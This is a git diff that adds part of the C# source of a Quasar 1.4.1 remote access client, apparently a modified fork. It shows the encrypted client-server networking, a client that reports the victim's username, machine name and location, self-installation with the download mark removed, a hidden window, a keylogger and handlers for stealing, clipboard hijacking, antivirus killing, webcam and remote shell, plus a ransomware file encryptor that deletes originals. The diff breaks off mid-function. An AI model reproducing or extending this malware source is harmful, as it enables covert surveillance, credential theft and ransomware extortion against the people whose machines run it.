/// + /// Attempts to connect to the specified ip address on the specified port. + /// + /// The ip address to connect to. + /// The port of the host. + protected void Connect(IPAddress ip, ushort port) + { + Socket handle = null; + try + { + Disconnect(); + + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); + + if (handle.Connected) + { + _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + else + { + handle.Dispose(); + } + } + catch (Exception ex) + { + handle?.Dispose(); + OnClientFail(ex); + } + } + + /// + /// Validates the server certificate by comparing it with the included server certificate. + /// + /// The sender of the callback. + /// The server certificate to validate. + /// The X.509 chain. + /// The SSL policy errors. + /// Returns true when the validation was successful, otherwise false. + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + // for debugging don't validate server certificate + return true; +#else + var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key; + // compare the received server certificate with the included server certificate to validate we are connected to the correct server + return _serverCertificate.Equals(certificate); +#endif + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception ex) + { + OnClientFail(ex); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception ex) + { + OnClientFail(ex); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HEADER_SIZE]; + + if (_readableDataLen + _writeOffset >= HEADER_SIZE) + { + // completely received header + int headerLength = HEADER_SIZE - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE) + Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HEADER_SIZE) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HEADER_SIZE == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected server. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected server. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server, disconnect all proxies that + /// are held by this client, and dispose of other resources associated + /// with this client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect + + if (_proxyClients != null) + { + lock (_proxyClientsLock) + { + try + { + foreach (ReverseProxyClient proxy in _proxyClients) + proxy.Disconnect(); + } + catch (Exception) + { + } + } + } + } + + OnClientState(false); + } + + public void ConnectReverseProxy(ReverseProxyConnect command) + { + lock (_proxyClientsLock) + { + _proxyClients.Add(new ReverseProxyClient(command, this)); + } + } + + public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId) + { + lock (_proxyClientsLock) + { + return _proxyClients.FirstOrDefault(t => t.ConnectionId == connectionId); + } + } + + public void RemoveProxyClient(int connectionId) + { + try + { + lock (_proxyClientsLock) + { + for (int i = 0; i < _proxyClients.Count; i++) + { + if (_proxyClients[i].ConnectionId == connectionId) + { + _proxyClients.RemoveAt(i); + break; + } + } + } + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs b/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs new file mode 100755 index 0000000..552df2b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/QuasarClient.cs @@ -0,0 +1,176 @@ +using Quasar.Client.Config; +using Quasar.Client.Helper; +using Quasar.Client.IO; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Utilities; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class QuasarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + this._hosts = hostsManager; + this._random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + // TODO: do not re-use object + while (!_token.IsCancellationRequested) + { + if (!Connected) + { + Host host = _hosts.GetNextHost(); + + base.Connect(host.IpAddress, host.Port); + } + + while (Connected) // hold client open + { + try + { + _token.WaitHandle.WaitOne(1000); + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + Disconnect(); + return; + } + } + + if (_token.IsCancellationRequested) + { + Disconnect(); + return; + } + + Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message.GetType() == typeof(ClientIdentificationResult)) + { + var reply = (ClientIdentificationResult) message; + _identified = reply.Result; + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + + if (connected) + { + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + client.Send(new ClientIdentification + { + Version = Settings.VERSION, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) + }); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + _tokenSource.Cancel(); + Disconnect(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs b/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs new file mode 100755 index 0000000..e2fe29b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/UdpFrameSender.cs @@ -0,0 +1,87 @@ +using Quasar.Common.Video; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Client.Networking +{ + /// + /// Sends frame data over UDP to the server, fragmenting into MTU-safe chunks. + /// Compresses the payload with Deflate before fragmenting. + /// + public class UdpFrameSender : IDisposable + { + private UdpClient _udp; + private IPEndPoint _serverEndPoint; + private uint _frameId = 0; + private bool _disposed; + + public bool IsConnected { get; private set; } + + public UdpFrameSender(string serverHost, int serverPort) + { + try + { + _serverEndPoint = new IPEndPoint(Dns.GetHostAddresses(serverHost)[0], serverPort); + _udp = new UdpClient(); + _udp.Client.SendBufferSize = 1024 * 512; + // "Connect" so we can use Send() instead of SendTo() + _udp.Connect(_serverEndPoint); + IsConnected = true; + } + catch + { + IsConnected = false; + } + } + + /// + /// Sends a frame payload. Compresses, fragments, and fires each chunk as a UDP datagram. + /// + /// Raw codec output bytes. + /// True if this is a full/key frame. + public void SendFrame(byte[] frameData, bool isKeyFrame) + { + if (!IsConnected || _disposed) return; + + try + { + // Compress + byte[] compressed = UdpFrameProtocol.Compress(frameData); + + ushort flags = UdpFrameProtocol.FlagCompressed; + if (isKeyFrame) flags |= UdpFrameProtocol.FlagKeyFrame; + + uint frameId = _frameId++; + + // Fragment + int totalBytes = compressed.Length; + int chunkCount = (totalBytes + UdpFrameProtocol.MaxPayloadSize - 1) / UdpFrameProtocol.MaxPayloadSize; + if (chunkCount > ushort.MaxValue) return; // frame too large, skip + + ushort totalChunks = (ushort)chunkCount; + + for (ushort i = 0; i < totalChunks; i++) + { + int offset = i * UdpFrameProtocol.MaxPayloadSize; + int length = Math.Min(UdpFrameProtocol.MaxPayloadSize, totalBytes - offset); + + byte[] packet = UdpFrameProtocol.BuildPacket(frameId, i, totalChunks, flags, compressed, offset, length); + _udp.Send(packet, packet.Length); + } + } + catch + { + IsConnected = false; + } + } + + public void Dispose() + { + _disposed = true; + IsConnected = false; + try { _udp?.Close(); } catch { } + _udp = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Program.cs b/Quasar-1.4.1/Quasar.Client/Program.cs new file mode 100755 index 0000000..e2c1731 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Program.cs @@ -0,0 +1,91 @@ +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + internal static class Program + { + [STAThread] + private static void Main(string[] args) + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..68d5e1d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("Quasar Client")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Client.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs b/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs new file mode 100755 index 0000000..8a20f78 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx b/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs b/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs new file mode 100755 index 0000000..b4ca5f2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Client.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings b/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings new file mode 100755 index 0000000..3964565 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj b/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj new file mode 100755 index 0000000..a4e6303 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Quasar.Client.csproj @@ -0,0 +1,77 @@ + + + net461 + WinExe + Client + true + false + AnyCPU + 10.0 + true + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + Quasar.Client.Program + + + app.manifest + + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + 2.0.18.2 + + + 5.6.0 + + + + 2.4.8 + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs b/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs new file mode 100755 index 0000000..c96d5c2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/QuasarApplication.cs @@ -0,0 +1,266 @@ +using Quasar.Client.Config; +using Quasar.Client.Logging; +using Quasar.Client.Messages; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Reflection; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class QuasarApplication : Form + { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private QuasarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + + /// + /// The background keylogger service used to capture and store keystrokes. + /// + private KeyloggerService _keyloggerService; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public QuasarApplication() + { + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Quasar Client\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (!Settings.UNATTENDEDMODE) + { + InitializeNotifyicon(); + } + + if (Settings.ENABLELOGGER) + { + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + + var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); + + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; + + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + _notifyIcon.Text = "Quasar Client\nConnection established"; + else + _notifyIcon.Text = "Quasar Client\nNo connection"; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(QuasarClient client) + { + _messageProcessors.Add(new ClientServicesHandler(this, client)); + _messageProcessors.Add(new FileManagerHandler(client)); + _messageProcessors.Add(new KeyloggerHandler()); + _messageProcessors.Add(new MessageBoxHandler()); + _messageProcessors.Add(new RegistryHandler()); + _messageProcessors.Add(new RemoteDesktopHandler()); + _messageProcessors.Add(new RemoteShellHandler(client)); + _messageProcessors.Add(new ReverseProxyHandler(client)); + _messageProcessors.Add(new ShutdownHandler()); + _messageProcessors.Add(new StartupManagerHandler()); + _messageProcessors.Add(new SystemInformationHandler()); + _messageProcessors.Add(new TaskManagerHandler(client)); + _messageProcessors.Add(new TcpConnectionsHandler()); + _messageProcessors.Add(new WebsiteVisitorHandler()); + _messageProcessors.Add(new ClipperHandler()); + _messageProcessors.Add(new IntelixStealerHandler()); + _messageProcessors.Add(new SurvivalHandler()); + _messageProcessors.Add(new AVKillerHandler()); + _messageProcessors.Add(new AutoTaskHandler()); + _messageProcessors.Add(new LiveKeyloggerHandler()); + _messageProcessors.Add(new BotKillerHandler()); + _messageProcessors.Add(new RansomwareHandler()); + _messageProcessors.Add(new SystemOptionHandler()); + _messageProcessors.Add(new ActiveWindowHandler()); + _messageProcessors.Add(new WebcamHandler()); + + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + foreach (var msgProc in _messageProcessors) + { + MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; + if (msgProc is IDisposable disposableMsgProc) + disposableMsgProc.Dispose(); + } + } + + private void ShowNotification(object sender, string value) + { + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs b/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs new file mode 100755 index 0000000..9644358 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Ransomware/FileEncryptor.cs @@ -0,0 +1,148 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Client.Ransomware +{ + public class FileEncryptor + { + private const int BUFFER_SIZE = 1024 * 1024; // 1MB buffer + private const string KEY_SIGNATURE = "QKEY"; // 4-byte signature to verify key + + public static void EncryptFile(string filePath, string password, string newExtension) + { + try + { + byte[] fileBytes = File.ReadAllBytes(filePath); + byte[] encryptedBytes = EncryptBytes(fileBytes, password); + + // Add key signature at the beginning + byte[] signatureBytes = Encoding.ASCII.GetBytes(KEY_SIGNATURE); + byte[] finalBytes = new byte[signatureBytes.Length + encryptedBytes.Length]; + Buffer.BlockCopy(signatureBytes, 0, finalBytes, 0, signatureBytes.Length); + Buffer.BlockCopy(encryptedBytes, 0, finalBytes, signatureBytes.Length, encryptedBytes.Length); + + string encryptedPath = filePath + newExtension; + File.WriteAllBytes(encryptedPath, finalBytes); + File.Delete(filePath); + } + catch + { + // Silently fail - don't crash on individual file errors + } + } + + public static bool DecryptFile(string filePath, string password, string extensionToRemove) + { + try + { + if (!filePath.EndsWith(extensionToRemove)) + return false; + + byte[] fileBytes = File.ReadAllBytes(filePath); + + // Verify signature + if (fileBytes.Length < 4) + return false; + + byte[] signatureBytes = new byte[4]; + Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4); + string signature = Encoding.ASCII.GetString(signatureBytes); + + if (signature != KEY_SIGNATURE) + return false; + + // Extract encrypted data (skip signature) + byte[] encryptedBytes = new byte[fileBytes.Length - 4]; + Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length); + + // Try to 